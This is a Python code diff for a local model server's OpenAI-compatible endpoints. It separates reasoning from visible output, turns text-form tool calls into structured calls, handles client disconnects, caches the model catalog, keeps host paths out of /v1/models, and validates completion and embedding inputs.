nudge_tool_calls = payload.nudge_tool_calls, max_tool_iterations = _sf_tool_budget, tool_call_timeout = payload.tool_call_timeout if payload.tool_call_timeout is not None @@ -5535,11 +8242,27 @@ async def openai_chat_completions( async def sf_tool_stream(): gen = None + disconnect_watcher = asyncio.create_task( + _await_disconnect_then_cancel(request, cancel_event) + ) try: yield _chat_role_chunk(completion_id, created, model_name) gen = sf_generate_with_tools() prev_text = "" + reasoning_extractor = _new_sf_reasoning_extractor() + + def _sf_flush_reasoning(): + # Drain the extractor at turn/stream end (mirrors GGUF); only visible text hits the monitor. + fr, fv = reasoning_extractor.finish() + out = [] + if fr: + out.append(_chat_reasoning_chunk(completion_id, created, model_name, fr)) + if fv: + api_monitor.append_reply(monitor_id, fv) + out.append(_chat_content_chunk(completion_id, created, model_name, fv)) + return out + while True: if cancel_event.is_set(): backend.reset_generation_state() @@ -5556,7 +8279,11 @@ async def openai_chat_completions( if event["type"] == "status": if not event["text"]: + # Iteration boundary: flush reasoning, then a fresh prefilled extractor for the next turn. + for _c in _sf_flush_reasoning(): + yield _c prev_text = "" + reasoning_extractor = _new_sf_reasoning_extractor() status_data = json.dumps( { "type": "tool_status", @@ -5568,7 +8295,11 @@ async def openai_chat_completions( if event["type"] in ("tool_start", "tool_end"): if event["type"] == "tool_start": + # Flush reasoning before tool_start so the thinking block closes ahead of the card. + for _c in _sf_flush_reasoning(): + yield _c prev_text = "" + reasoning_extractor = _new_sf_reasoning_extractor() yield f"data: {json.dumps(event)}\n\n" continue @@ -5577,14 +8308,24 @@ async def openai_chat_completions( clean_cumulative = _strip_tool_xml_for_display( raw_cumulative, auto_heal_tool_calls = _sf_auto_heal_tool_calls, + enabled_tool_names = _sf_display_tool_names, ) new_text = clean_cumulative[len(prev_text) :] prev_text = clean_cumulative if not new_text: continue - api_monitor.append_reply(monitor_id, new_text) - yield _chat_content_chunk(completion_id, created, model_name, new_text) + # Split reasoning vs visible; only visible reaches the monitor. + reasoning_delta, visible_delta = reasoning_extractor.feed(new_text) + if reasoning_delta: + yield _chat_reasoning_chunk( + completion_id, created, model_name, reasoning_delta + ) + if visible_delta: + api_monitor.append_reply(monitor_id, visible_delta) + yield _chat_content_chunk(completion_id, created, model_name, visible_delta) + for _c in _sf_flush_reasoning(): + yield _c yield _chat_final_chunk(completion_id, created, model_name, "stop") # Usage chunk from the last turn, same shape as the # GGUF tool loop's metadata. Request-scoped holder, so @@ -5624,8 +8365,9 @@ async def openai_chat_completions( "type": "server_error", }, } - yield f"data: {json.dumps(error_chunk)}\n\n" + yield _openai_stream_error_sse(error_chunk) finally: + await _stop_local_disconnect_cancel_watcher(disconnect_watcher) if gen is not None: try: gen.close() @@ -5634,7 +8376,16 @@ async def openai_chat_completions( _sf_tracker.__exit__(None, None, None) if payload.stream: - return _sse_streaming_response(sf_tool_stream()) + return _SameTaskStreamingResponse( + sf_tool_stream(), + unstarted_cleanup = _tracked_cancel_unstarted_cleanup(_sf_tracker), + media_type = "text/event-stream", + headers = { + "Cache-Control": "no-cache", + "Connection": "close", + "X-Accel-Buffering": "no", + }, + ) # Non-streaming JSON: drain the loop, build one ChatCompletion. try: @@ -5649,22 +8400,32 @@ async def openai_chat_completions( full_text = _strip_tool_xml_for_display( event.get("text", ""), auto_heal_tool_calls = _sf_auto_heal_tool_calls, + enabled_tool_names = _sf_display_tool_names, ) return full_text content_text = await asyncio.to_thread(_drain_to_text) - api_monitor.set_reply(monitor_id, content_text) + # Split prefilled out of the visible answer (GGUF parity); the monitor gets visible text only. + _reasoning_text, _visible_text = _extract_responses_reasoning( + content_text, + parse_think_markers = _sf_parse_think, + reasoning_prefilled = _sf_reasoning_prefilled, + ) + api_monitor.set_reply(monitor_id, _visible_text) _stats = _sf_stats_holder.get("stats") if _stats: _monitor_usage(monitor_id, _stats.get("usage")) api_monitor.finish(monitor_id, "cancelled" if cancel_event.is_set() else "completed") + _sf_msg_kwargs = {"content": _visible_text} + if _reasoning_text: + _sf_msg_kwargs["reasoning_content"] = _reasoning_text response = ChatCompletion( id = completion_id, created = created, model = model_name, choices = [ CompletionChoice( - message = CompletionMessage(content = content_text), + message = CompletionMessage(**_sf_msg_kwargs), finish_reason = "stop", ) ], @@ -5698,6 +8459,7 @@ async def openai_chat_completions( min_p = payload.min_p, max_new_tokens = effective_max_tokens or 2048, repetition_penalty = payload.repetition_penalty, + presence_penalty = payload.presence_penalty, ) # Forward reasoning kwargs; the worker/template wrapper peels off any the # template doesn't accept. @@ -5708,25 +8470,87 @@ async def openai_chat_completions( if payload.preserve_thinking is not None: gen_kwargs["preserve_thinking"] = payload.preserve_thinking + # ── Client-tool passthrough (safetensors + MLX) ────────────── + # Client tools (or tool-result history) without server-side tools: render + # tools into the template, generate one turn, heal text-form calls (#6801). + # supports_tools=False falls through to plain relay (GGUF gate parity). + _sf_has_tool_msgs = any(m.role == "tool" or m.tool_calls for m in payload.messages) + # Gate on _sf_use_tools (did the server-side path claim the request?), not + # raw mcp_enabled: an empty MCP registry must not silently drop client tools. + _sf_client_tools = ( + not _effective_enable_tools(payload) + and not _sf_use_tools + and image is None + and not _sf_is_gptoss + and _sf_features.get("supports_tools", False) + and ((payload.tools and len(payload.tools) > 0) or _sf_has_tool_msgs) + ) + _sf_heal = ( + heal_gate(payload.auto_heal_tool_calls, payload.tools, payload.tool_choice) + if _sf_client_tools + else None + ) + if _sf_client_tools: + # Re-derive from payload.messages so tool_calls / role="tool" history + # survives templating; fold system/developer into one leading system + # message (templates reject "developer") and clear prompt to avoid a dup. + gen_kwargs["messages"] = _set_or_prepend_system_message( + _structured_tool_history_for_local_template( + _flatten_content_parts_for_local_template(_openai_messages_for_passthrough(payload)) + ), + system_prompt, + ) + gen_kwargs["system_prompt"] = "" + # tool_choice="none": keep history templating but advertise no tools + # (heal_gate is off, markup would relay as prose). A forced function + # narrows templating to that one schema. Both mirror the GGUF path, + # where llama-server honors tool_choice itself. + _sf_tc = payload.tool_choice + _sf_forced = None + if isinstance(_sf_tc, dict) and isinstance(_sf_tc.get("function"), dict): + _sf_forced = _sf_tc["function"].get("name") + if _sf_tc == "none": + gen_kwargs["tools"] = None + elif isinstance(_sf_forced, str): + gen_kwargs["tools"] = [ + t + for t in payload.tools or [] + if isinstance(t, dict) + and isinstance(t.get("function"), dict) + and t["function"].get("name") == _sf_forced + ] or None + else: + gen_kwargs["tools"] = payload.tools + # Request-scoped usage/timings receptacle (filled at gen_done). stats_holder: dict = {} if payload.use_adapter is not None: - def generate(): + def generate(messages_override = None): + kw = ( + gen_kwargs + if messages_override is None + else {**gen_kwargs, "messages": messages_override} + ) return backend.generate_with_adapter_control( use_adapter = payload.use_adapter, cancel_event = cancel_event, stats_holder = stats_holder, - **gen_kwargs, + **kw, ) else: - def generate(): + def generate(messages_override = None): + kw = ( + gen_kwargs + if messages_override is None + else {**gen_kwargs, "messages": messages_override} + ) return backend.generate_chat_response( cancel_event = cancel_event, stats_holder = stats_holder, - **gen_kwargs, + **kw, ) # ── Streaming response ──────────────────────────────────────── @@ -5736,10 +8560,20 @@ async def openai_chat_completions( _tracker.__enter__() async def stream_chunks(): + disconnect_watcher = asyncio.create_task( + _await_disconnect_then_cancel(request, cancel_event) + ) try: yield _chat_role_chunk(completion_id, created, model_name) + # Client-tool passthrough: heal text-form calls on the fly + # (None => relay verbatim). + healer = StreamToolCallHealer(_sf_heal, payload.tools) if _sf_heal else None + heal_state = {"idx": 0} + prev_text = "" + # Split prefilled into reasoning_content deltas (GGUF parity); single turn, serves MLX. + reasoning_extractor = _new_sf_reasoning_extractor() # Run the sync generator in a thread pool to avoid blocking the # event loop. Critical for compare mode: two SSE requests arrive # concurrently but the orchestrator serializes them via @@ -5768,10 +8602,76 @@ async def openai_chat_completions( prev_text = cumulative if not new_text: continue - api_monitor.append_reply(monitor_id, new_text) - yield _chat_content_chunk(completion_id, created, model_name, new_text) + # Split prefilled reasoning first (GGUF/MLX parity), + # then route only the visible text through the client-tool + # healer so tool markup inside a reasoning block is not promoted. + reasoning_delta, visible_delta = reasoning_extractor.feed(new_text) + if reasoning_delta: + yield _chat_reasoning_chunk( + completion_id, created, model_name, reasoning_delta + ) + if visible_delta: + if healer is None: + # Monitor mirrors the verbatim relay; with healing on, + # _sf_heal_events_to_sse records the healed events instead. + api_monitor.append_reply(monitor_id, visible_delta) + yield _chat_content_chunk( + completion_id, created, model_name, visible_delta + ) + else: + for line in _sf_heal_events_to_sse( + healer.feed(visible_delta), + completion_id, + created, + model_name, + heal_state, + payload.parallel_tool_calls, + monitor_id, + ): + yield line - yield _chat_final_chunk(completion_id, created, model_name, "stop") + final_reasoning, final_visible = reasoning_extractor.finish() + if final_reasoning: + yield _chat_reasoning_chunk(completion_id, created, model_name, final_reasoning) + if final_visible: + if healer is None: + api_monitor.append_reply(monitor_id, final_visible) + yield _chat_content_chunk(completion_id, created, model_name, final_visible) + else: + for line in _sf_heal_events_to_sse( + healer.feed(final_visible), + completion_id, + created, + model_name, + heal_state, + payload.parallel_tool_calls, + monitor_id, + ): + yield line + + # A cancelled stream must not promote buffered-but-incomplete + # markup: finalize()'s allow_incomplete heal would execute a tool + # the user just cancelled. Disconnect returns earlier; "Stop" only + # sets cancel_event, so guard on it here too. + _cancelled = cancel_event.is_set() + if healer is not None and not _cancelled: + for line in _sf_heal_events_to_sse( + healer.finalize(), + completion_id, + created, + model_name, + heal_state, + payload.parallel_tool_calls, + monitor_id, + ): + yield line + + _finish = ( + "tool_calls" + if (healer is not None and not _cancelled and healer.healed) + else "stop" + ) + yield _chat_final_chunk(completion_id, created, model_name, _finish) # Usage chunk (choices=[], usage set), same shape as the # GGUF path so the speed popover works for MLX too. # Request-scoped holder, so concurrent streams cannot @@ -5810,11 +8710,21 @@ async def openai_chat_completions( "type": "server_error", }, } - yield f"data: {json.dumps(error_chunk)}\n\n" + yield _openai_stream_error_sse(error_chunk) finally: + await _stop_local_disconnect_cancel_watcher(disconnect_watcher) _tracker.__exit__(None, None, None) - return _sse_streaming_response(stream_chunks()) + return _SameTaskStreamingResponse( + stream_chunks(), + unstarted_cleanup = _tracked_cancel_unstarted_cleanup(_tracker), + media_type = "text/event-stream", + headers = { + "Cache-Control": "no-cache", + "Connection": "close", + "X-Accel-Buffering": "no", + }, + ) # ── Non-streaming response ──────────────────────────────────── else: @@ -5823,18 +8733,96 @@ async def openai_chat_completions( for token in generate(): full_text = token + # Split prefilled reasoning (GGUF parity); also covers MLX via + # the shared generate(). Client-tool healing then runs on the visible + # text so tool markup inside a reasoning block is never promoted. + _reasoning_text, _visible_text = _extract_responses_reasoning( + full_text, + parse_think_markers = _sf_parse_think, + reasoning_prefilled = _sf_reasoning_prefilled, + ) + # Client-tool passthrough: promote text-form calls; opt-in single + # nudge retry on unparseable tool markup. + _msg = {"role": "assistant", "content": _visible_text} + if _reasoning_text: + _msg["reasoning_content"] = _reasoning_text + _finish = "stop" + if _sf_heal: + if heal_openai_message(_msg, _sf_heal, payload.tools): + _finish = "tool_calls" + elif nudge_enabled(payload.nudge_tool_calls): + _data = { + "choices": [{"message": {"role": "assistant", "content": _visible_text}}] + } + if nudge_should_retry(_data, _sf_heal, payload.tools): + # A failed retry must not 500 the request; keep the first + # response (GGUF nudge parity). The retry's generate() + # overwrites stats_holder, so save the first attempt's stats + # and restore them if the retry is discarded. + _first_stats = stats_holder.get("stats") + try: + retry_text = "" + for token in generate( + [*gen_kwargs["messages"], *nudge_messages(_data, _sf_heal)] + ): + retry_text = token + # Re-split reasoning on the retry so its visible text is + # what heals into a call (and reaches the monitor). + _retry_reasoning, _retry_visible = _extract_responses_reasoning( + retry_text, + parse_think_markers = _sf_parse_think, + reasoning_prefilled = _sf_reasoning_prefilled, + ) + retry_msg = {"role": "assistant", "content": _retry_visible} + if _retry_reasoning: + retry_msg["reasoning_content"] = _retry_reasoning + if heal_openai_message(retry_msg, _sf_heal, payload.tools): + _visible_text, _msg, _finish = ( + _retry_visible, + retry_msg, + "tool_calls", + ) + else: + # Retry produced no healable call -> first response wins. + stats_holder["stats"] = _first_stats + except Exception as retry_exc: + logger.debug( + "Nudge retry failed; keeping first response: %s", retry_exc + ) + stats_holder["stats"] = _first_stats + # parallel_tool_calls=false: cap to one call (GGUF parity). + if payload.parallel_tool_calls is False: + _tcs = _msg.get("tool_calls") + if isinstance(_tcs, list) and len(_tcs) > 1: + _msg["tool_calls"] = _tcs[:1] + response = ChatCompletion( id = completion_id, created = created, model = model_name, choices = [ CompletionChoice( - message = CompletionMessage(content = full_text), - finish_reason = "stop", + message = CompletionMessage( + content = _msg["content"], + reasoning_content = _msg.get("reasoning_content"), + tool_calls = _msg.get("tool_calls"), + ), + finish_reason = _finish, ) ], ) - api_monitor.set_reply(monitor_id, full_text) + _monitor_reply = _msg.get("content") or "" + if _finish == "tool_calls": + _tcs = _msg.get("tool_calls") or [] + _calls_text = "; ".join( + f"{(tc.get('function') or {}).get('name', '')}" + f"({(tc.get('function') or {}).get('arguments', '')})" + for tc in _tcs + ) + _monitor_reply = (_msg.get("content") or "") + ( + f"[tool_calls] {_calls_text}" if _calls_text else "" + ) + api_monitor.set_reply(monitor_id, _monitor_reply) _stats = stats_holder.get("stats") if _stats: _monitor_usage(monitor_id, _stats.get("usage")) @@ -5926,6 +8914,9 @@ async def serve_sandbox_file( # OpenAI-Compatible Models Listing (/models → /v1/models) # ===================================================================== +# `owned_by` marker on every /v1/models entry (loaded and available alike). +_OWNED_BY = "unsloth-studio" + def _openai_model_objects() -> list[dict]: """The model objects GET /v1/models exposes (one per loaded local backend). @@ -5939,11 +8930,16 @@ def _openai_model_objects() -> list[dict]: # Check GGUF backend llama_backend = get_llama_cpp_backend() if llama_backend.is_loaded: + # Advertise the repo id an auto-switch load recorded, not the concrete + # on-disk load path, so /v1/models never leaks a host path or lists a + # model twice (path plus repo id). entry = { - "id": llama_backend.model_identifier, + # Advertised repo id after an auto-switch load, else a clean public id, + # never the absolute .gguf path (which leaks the host filesystem layout). + "id": _llama_public_model_id(llama_backend), "object": "model", "created": _created, - "owned_by": "local", + "owned_by": _OWNED_BY, } _ctx = _positive_int_or_none(getattr(llama_backend, "context_length", None)) if _ctx is not None: @@ -5961,10 +8957,10 @@ def _openai_model_objects() -> list[dict]: if backend.active_model_name: model_info = backend.models.get(backend.active_model_name, {}) entry = { - "id": backend.active_model_name, + "id": public_model_id(backend.active_model_name), "object": "model", "created": _created, - "owned_by": "local", + "owned_by": _OWNED_BY, } _ctx = _positive_int_or_none(model_info.get("context_length")) if _ctx is None: @@ -5982,15 +8978,108 @@ def _openai_model_objects() -> list[dict]: return models +# Brief cache for the local-model filesystem scan so repeated /v1/models calls +# don't rescan the HF cache and models dirs on every request. +_CATALOG_CACHE: dict = {"at": 0.0, "models": []} +_CATALOG_TTL_S = 30.0 +# Per-loop lock (like _auto_switch_lock): a module-level asyncio.Lock ties its +# waiters to the loop that first awaited it, so a second event loop awaiting it +# in a multi-loop ASGI process can hang. The cache double-check keeps correctness +# even when two loops each scan once. +_catalog_locks: "weakref.WeakKeyDictionary" = weakref.WeakKeyDictionary() +_catalog_locks_guard = threading.Lock() + + +def _catalog_lock() -> asyncio.Lock: + loop = asyncio.get_running_loop() + with _catalog_locks_guard: + lock = _catalog_locks.get(loop) + if lock is None: + lock = _catalog_locks[loop] = asyncio.Lock() + return lock + + +async def _cached_local_catalog() -> list: + """Locally available models (models dir + HF caches + LM Studio + scan + folders), cached for a few seconds. Returns a list of LocalModelInfo. + + The scan walks several directories and stats many files, so it runs in a + worker thread (asyncio.to_thread) -- calling it inline would block the event + loop and stall every concurrent request and in-flight inference stream. A + lock with a double-check collapses a burst of simultaneous /v1/models calls + into a single scan instead of one per request.""" + # Validity is keyed on "at" (set only after a scan), not on list contents, so + # an empty/errored scan is still cached instead of rescanning on every poll. + now = time.monotonic() + if _CATALOG_CACHE["at"] and (now - _CATALOG_CACHE["at"]) <= _CATALOG_TTL_S: + return _CATALOG_CACHE["models"] + async with _catalog_lock(): + now = time.monotonic() + if _CATALOG_CACHE["at"] and (now - _CATALOG_CACHE["at"]) <= _CATALOG_TTL_S: + return _CATALOG_CACHE["models"] + try: + from routes.models import collect_local_models + _CATALOG_CACHE["models"] = await asyncio.to_thread( + collect_local_models, Path("./models").resolve() + ) + except Exception as exc: + logger.debug("model catalog scan failed: %s", exc) + _CATALOG_CACHE["models"] = [] + # Stamp after the scan, not the pre-scan "now": a scan slower than the TTL + # would otherwise leave the cache already expired, so every waiter rescans. + _CATALOG_CACHE["at"] = time.monotonic() + return _CATALOG_CACHE["models"] + + +async def _openai_catalog_objects() -> list[dict]: + """Every model the server knows about for ``GET /v1/models``: the loaded + model(s) plus locally available (downloaded/cached) models discovered by + scanning. Loaded entries keep their context fields and are marked + ``loaded: true``. All ids are clean public ids (never absolute paths).""" + _created = int(time.time()) + # Loaded models first (clean ids + context fields), marked loaded. + by_id: dict[str, dict] = {} + for entry in _openai_model_objects(): + by_id[entry["id"]] = {**entry, "loaded": True} + + # Locally available (downloaded/cached) models that are not already loaded. + # Advertise only GGUF models /v1 can actually serve (llama.cpp). GGUF-ness is + # read from the on-disk files, not model_format: the HF-cache scanner leaves + # model_format unset for GGUF snapshots, so a model_format filter would drop + # every cached GGUF. The file checks run off the loop. + from core.inference.local_model_resolver import info_has_local_gguf + + catalog = await _cached_local_catalog() + servable = await asyncio.to_thread(lambda: [i for i in catalog if info_has_local_gguf(i)]) + for info in servable: + cid = getattr(info, "model_id", None) or public_model_id(getattr(info, "id", None)) + if not cid or cid in by_id: + continue + obj = { + "id": cid, + "object": "model", + "created": _created, + "owned_by": _OWNED_BY, + "loaded": False, + } + display = getattr(info, "display_name", None) + if display: + obj["display_name"] = display + by_id[cid] = obj + + return list(by_id.values()) + + @router.get("/models") async def openai_list_models(current_subject: str = Depends(get_current_subject)): """ - OpenAI-compatible model listing endpoint. + OpenAI-compatible model listing endpoint (``GET /v1/models``). - Returns the currently loaded model in the format expected by - OpenAI-compatible clients (``GET /v1/models``). + Lists every model available on this server -- the loaded model(s) plus + locally available (downloaded/cached) models -- not only what is resident in + memory. Each entry carries a clean public id and a ``loaded`` flag. """ - return {"object": "list", "data": _openai_model_objects()} + return {"object": "list", "data": await _openai_catalog_objects()} @router.get("/models/{model_id:path}") @@ -5998,13 +9087,51 @@ async def openai_retrieve_model(model_id: str, current_subject: str = Depends(ge """ OpenAI-compatible single-model retrieval endpoint (``GET /v1/models/{id}``). - Returns the bare model object when ``model_id`` matches a loaded local - model, or 404 model_not_found otherwise. Defined after the LIST route so - it does not shadow it; ``{model_id:path}`` keeps ids with slashes intact. + Returns the bare model object when ``model_id`` matches a known model + (loaded or locally available), or 404 model_not_found otherwise. Defined + after the LIST route so it does not shadow it; ``{model_id:path}`` keeps ids + with slashes intact. """ - for model in _openai_model_objects(): - if model["id"] == model_id: + from core.inference.model_ids import model_id_matches + + # Loaded models resolve without a catalog scan (the common case); only build + # the full catalog -- which may hit the filesystem -- for unloaded ids. Match + # case-insensitively, like the catalog loop below and the resolver's index. + _loaded = _openai_model_objects() + for entry in _loaded: + eid = entry["id"] + if isinstance(eid, str) and eid.lower() == model_id.lower(): + return {**entry, "loaded": True} + + objects = await _openai_catalog_objects() + for model in objects: + # Case-insensitive to match the resolver, which lowercases its index. + mid = model.get("id") + if isinstance(mid, str) and mid.lower() == model_id.lower(): return model + # Backward compatibility: a client may still send the legacy raw identifier + # (e.g. an absolute .gguf path cached from an older /v1/models). Map it to the + # loaded model's object so it keeps working, without ever echoing the path back. + # Key each raw id to the SAME public id its /v1/models entry uses: an + # auto-switch load advertises a repo id while its identifier is the snapshot + # path, so public_model_id(path) would miss the advertised entry and 404 a + # model that is in fact loaded. + llama_backend = get_llama_cpp_backend() + backend = get_inference_backend() + raw_to_public: list[tuple[str, Optional[str]]] = [] + if llama_backend.is_loaded and llama_backend.model_identifier: + raw_to_public.append( + (llama_backend.model_identifier, _llama_public_model_id(llama_backend)) + ) + if backend.active_model_name: + raw_to_public.append( + (backend.active_model_name, public_model_id(backend.active_model_name)) + ) + for raw, clean in raw_to_public: + if model_id_matches(model_id, raw): + for entry in _loaded: + if entry["id"] == clean: + return {**entry, "loaded": True} raise HTTPException( status_code = 404, detail = openai_error_body( @@ -6029,6 +9156,16 @@ def _flatten_monitor_prompt(value) -> str: return str(value) +def _completions_prompt_present(body: dict) -> bool: + """Whether a completions body carries a usable ``prompt`` (non-empty).""" + prompt = body.get("prompt") + if isinstance(prompt, str): + return prompt != "" + if isinstance(prompt, (list, tuple)): + return len(prompt) > 0 + return prompt is not None + + @router.post("/completions") async def openai_completions(request: Request, current_subject: str = Depends(get_current_subject)): """ @@ -6038,22 +9175,52 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge when a GGUF model is loaded. """ llama_backend = get_llama_cpp_backend() + + # Reject a request with no prompt before any automatic load so an invalid + # request never swaps or reloads the resident model (as chat/embeddings already + # validate before switching). Gate on every automatic-load trigger. + if _automatic_model_load_may_run(): + try: + _pre = await request.json() + except (json.JSONDecodeError, ValueError): + _pre = None + if isinstance(_pre, dict): + _pre_prompt = _pre.get("prompt") + if _pre_prompt is not None and not isinstance(_pre_prompt, (str, list, tuple)): + # An object/number prompt is a deterministic client error (only a + # string or array is valid); reject it before the switch so a bad + # shape can't load a GGUF only to be rejected by llama-server after. + raise HTTPException(status_code = 400, detail = "'prompt' must be a string or array.") + if not _completions_prompt_present(_pre): + raise HTTPException(status_code = 400, detail = "'prompt' is required for completions.") + + # Opt-in: load the requested local GGUF before the loaded-state check. + body = await _auto_switch_from_request_body(request, current_subject) if not llama_backend.is_loaded: raise HTTPException( status_code = 503, - detail = "No GGUF model loaded. Load a GGUF model first.", + detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."), ) + if not isinstance(body, dict): + # Re-read to re-raise a malformed-body error (post-503, pre-feature behavior); + # a valid non-dict body such as a list is a clean 400 rather than a 500. + body = await request.json() + if not isinstance(body, dict): + raise HTTPException(status_code = 400, detail = "Request body must be a JSON object") - body = await request.json() - if body.get("max_tokens") is None: - body["max_tokens"] = llama_backend.context_length or _DEFAULT_MAX_TOKENS_FLOOR + _resolved_max_tokens = _effective_openai_max_tokens_from_values(body.get("max_tokens")) + body["max_tokens"] = ( + _resolved_max_tokens + if _resolved_max_tokens is not None + else (llama_backend.context_length or _DEFAULT_MAX_TOKENS_FLOOR) + ) target_url = f"{llama_backend.base_url}/v1/completions" is_stream = body.get("stream", False) prompt_text = _flatten_monitor_prompt(body.get("prompt", "")) monitor_id = api_monitor.start( endpoint = request.url.path, method = request.method, - model = str(body.get("model") or llama_backend.model_identifier or "default"), + model = str(body.get("model") or _llama_public_model_id(llama_backend) or "default"), prompt = prompt_text, context_length = llama_backend.context_length, subject = current_subject, @@ -6073,7 +9240,10 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge # honor stream_options.include_usage per event, while keeping SSE # framing and token bytes intact. _include_usage = bool((body.get("stream_options") or {}).get("include_usage")) - client = httpx.AsyncClient(timeout = _llama_streaming_generation_timeout()) + client = httpx.AsyncClient( + timeout = _llama_streaming_generation_timeout(), + trust_env = False, + ) resp = None bytes_iter = None disconnect_event = threading.Event() @@ -6136,7 +9306,7 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge logger.error("openai_completions stream error: %s", e) api_monitor.fail(monitor_id, _friendly_error(e)) error_chunk = _openai_stream_error_chunk(e) - yield f"data: {json.dumps(error_chunk)}\n\n".encode("utf-8") + yield _openai_stream_error_sse_bytes(error_chunk) return api_monitor.finish(monitor_id, "cancelled") return @@ -6151,7 +9321,7 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge logger.error("openai_completions stream error: %s", e) api_monitor.fail(monitor_id, _friendly_error(e)) error_chunk = _openai_stream_error_chunk(e) - yield f"data: {json.dumps(error_chunk)}\n\n".encode("utf-8") + yield _openai_stream_error_sse_bytes(error_chunk) return finally: await _aclose_stream_resources( @@ -6197,6 +9367,16 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge # ===================================================================== +def _embeddings_input_present(body: dict) -> bool: + """Whether an embeddings body carries a usable ``input`` (non-empty).""" + inp = body.get("input") + if isinstance(inp, str): + return inp != "" + if isinstance(inp, (list, tuple)): + return len(inp) > 0 + return inp is not None + + @router.post("/embeddings") async def openai_embeddings(request: Request, current_subject: str = Depends(get_current_subject)): """ @@ -6208,13 +9388,42 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get error (expected). """ llama_backend = get_llama_cpp_backend() + # Reject a request with no input before any automatic load so an invalid + # request never swaps or reloads the resident model (as chat/responses/messages + # already validate before switching). Gate on every automatic-load trigger, + # not just auto-switch, since a standalone idle TTL can also reload here. + if _automatic_model_load_may_run(): + try: + _pre = await request.json() + except (json.JSONDecodeError, ValueError): + _pre = None + if isinstance(_pre, dict): + _pre_input = _pre.get("input") + if _pre_input is not None and not isinstance(_pre_input, (str, list, tuple)): + # An object/number input is a deterministic client error (only a + # string or array is valid); reject it before the switch so a bad + # shape can't load a GGUF only to be rejected by llama-server after. + raise HTTPException(status_code = 400, detail = "'input' must be a string or array.") + if not _embeddings_input_present(_pre): + raise HTTPException(status_code = 400, detail = "'input' is required for embeddings.") + # Embeddings is a model-bearing inference path too, so honor auto-switch. Unlike + # vision (cheaply pre-checked via a companion mmproj), GGUF pooling capability has + # no reliable pre-load probe -- is_embedding_model keys on a sentence-transformers + # modules.json a bare .gguf never has -- so embeddings auto-switch is best-effort: + # a non-embedding target switches, then llama-server returns a no-pooling error. + body = await _auto_switch_from_request_body(request, current_subject) if not llama_backend.is_loaded: raise HTTPException( status_code = 503, - detail = "No GGUF model loaded. Load a GGUF model first.", + detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."), ) + if not isinstance(body, dict): + # Re-read to re-raise a malformed-body error (post-503, pre-feature behavior); + # a valid non-dict body such as a list is a clean 400 rather than a 500. + body = await request.json() + if not isinstance(body, dict): + raise HTTPException(status_code = 400, detail = "Request body must be a JSON object") - body = await request.json() target_url = f"{llama_backend.base_url}/v1/embeddings" prompt_text = _flatten_monitor_prompt(body.get("input", "")) monitor_id = None @@ -6222,7 +9431,7 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get monitor_id = api_monitor.start( endpoint = request.url.path, method = request.method, - model = str(body.get("model") or llama_backend.model_identifier or "default"), + model = str(body.get("model") or _llama_public_model_id(llama_backend) or "default"), prompt = prompt_text, context_length = llama_backend.context_length, subject = current_subject, @@ -6440,10 +9649,18 @@ def _responses_marker_holdback(text: str, markers: tuple[str, ...]) -> int: class _ResponsesReasoningExtractor: """Split local markup into Responses reasoning and visible text.""" - def __init__(self, *, parse_think_markers: bool = False) -> None: + def __init__( + self, + *, + parse_think_markers: bool = False, + reasoning_prefilled: bool = False, + ) -> None: self._buffer = "" - self._in_reasoning = False - self._parse_think_markers = parse_think_markers + # reasoning_prefilled: the template inserts an unclosed , so output begins inside + # the block; start in reasoning until the first close tag. Existing callers pass False. + self._in_reasoning = reasoning_prefilled + # Splitting requires marker parsing; a prefilled open implies it. + self._parse_think_markers = parse_think_markers or reasoning_prefilled def feed( self, @@ -6466,14 +9683,21 @@ class _ResponsesReasoningExtractor: if self._in_reasoning: close_idx = self._buffer.find(_RESPONSES_THINK_CLOSE) if close_idx != -1: - reasoning_parts.append(self._buffer[:close_idx]) + reasoning_parts.append( + self._buffer[:close_idx].replace(_RESPONSES_THINK_OPEN, "") + ) self._buffer = self._buffer[close_idx + len(_RESPONSES_THINK_CLOSE) :] self._in_reasoning = False continue - keep = _responses_marker_holdback(self._buffer, (_RESPONSES_THINK_CLOSE,)) + # Hold back a trailing partial of either marker: the close (clean split across chunks) + # and a stray open (a re-emitted is suppressed, not leaked). + keep = _responses_marker_holdback( + self._buffer, (_RESPONSES_THINK_CLOSE, _RESPONSES_THINK_OPEN) + ) if keep == len(self._buffer): break - reasoning_parts.append(self._buffer[:-keep] if keep else self._buffer) + emit = self._buffer[:-keep] if keep else self._buffer + reasoning_parts.append(emit.replace(_RESPONSES_THINK_OPEN, "")) self._buffer = self._buffer[-keep:] if keep else "" break @@ -6510,7 +9734,7 @@ class _ResponsesReasoningExtractor: return "", remaining if self._in_reasoning: self._in_reasoning = False - return remaining, "" + return remaining.replace(_RESPONSES_THINK_OPEN, ""), "" return "", remaining.replace(_RESPONSES_THINK_CLOSE, "") @@ -6519,8 +9743,12 @@ def _extract_responses_reasoning( reasoning_content: Any = None, *, parse_think_markers: bool = False, + reasoning_prefilled: bool = False, ) -> tuple[str, str]: - extractor = _ResponsesReasoningExtractor(parse_think_markers = parse_think_markers) + extractor = _ResponsesReasoningExtractor( + parse_think_markers = parse_think_markers, + reasoning_prefilled = reasoning_prefilled, + ) reasoning, visible = extractor.feed(text, reasoning_content) final_reasoning, final_visible = extractor.finish() return reasoning + final_reasoning, visible + final_visible @@ -6532,8 +9760,9 @@ def _responses_should_parse_think_markers( if llama_backend is not None and getattr(llama_backend, "is_loaded", False): if getattr(llama_backend, "reasoning_always_on", False): return True - if not getattr(llama_backend, "supports_reasoning", False): - return False + if getattr(llama_backend, "supports_reasoning", False): + return True + return False if chat_req.enable_thinking is True: return True return chat_req.enable_thinking is None and chat_req.reasoning_effort not in (None, "none") @@ -6686,10 +9915,13 @@ def _build_chat_request( ``/v1/chat/completions`` client-side pass-through picks them up unchanged. """ chat_kwargs: dict = dict( - model = payload.model, messages = messages, stream = stream, ) + # Only forward an explicitly set model so an omitted Responses model stays + # reload-only when openai_chat_completions re-checks on the non-streaming path. + if "model" in payload.model_fields_set: + chat_kwargs["model"] = payload.model if payload.temperature is not None: chat_kwargs["temperature"] = payload.temperature if payload.top_p is not None: @@ -6722,6 +9954,13 @@ 